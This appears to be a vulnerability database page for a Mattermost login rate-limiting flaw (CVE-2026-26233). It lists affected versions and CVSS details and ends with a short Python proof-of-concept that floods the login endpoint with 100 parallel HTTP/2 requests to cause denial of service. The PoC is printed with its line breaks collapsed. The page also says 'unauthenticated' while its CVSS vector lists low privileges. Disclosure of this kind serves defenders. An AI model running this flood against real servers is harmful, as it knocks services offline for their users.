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CVE-2026-26233 CVSS 4.3 MEDIUM

CVE-2026-26233

Published: 2026-03-25 17:16:53
Last Modified: 2026-03-26 18:52:32

Description

Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to rate limit login requests which allows unauthenticated remote attackers to cause denial of service (server crash and restart) via HTTP/2 single packet attack with 100+ parallel login requests.. Mattermost Advisory ID: MMSA-2025-00566

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.4.x <= 11.4.0
Mattermost 11.3.x <= 11.3.1
Mattermost 11.2.x <= 11.2.3
Mattermost 10.11.x <= 10.11.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: HTTP/2 Multiplexing Attack # Requires httpx library: pip install httpx import httpx import asyncio async def send_h2_attack(target_url): # Use HTTP/2 with async client async with httpx.AsyncClient(http2=True) as client: # Prepare login payloads (dummy data) payload = {"login_id": "attacker", "password": "wrong"} # Generate 100+ parallel requests tasks = [client.post(target_url, json=payload) for _ in range(100)] # Send in a single packet (multiplexed) responses = await asyncio.gather(*tasks) print(f"Sent {len(responses)} requests via HTTP/2") if __name__ == "__main__": target = "https://target-mattermost.com/api/v4/users/login" asyncio.run(send_h2_attack(target))

References

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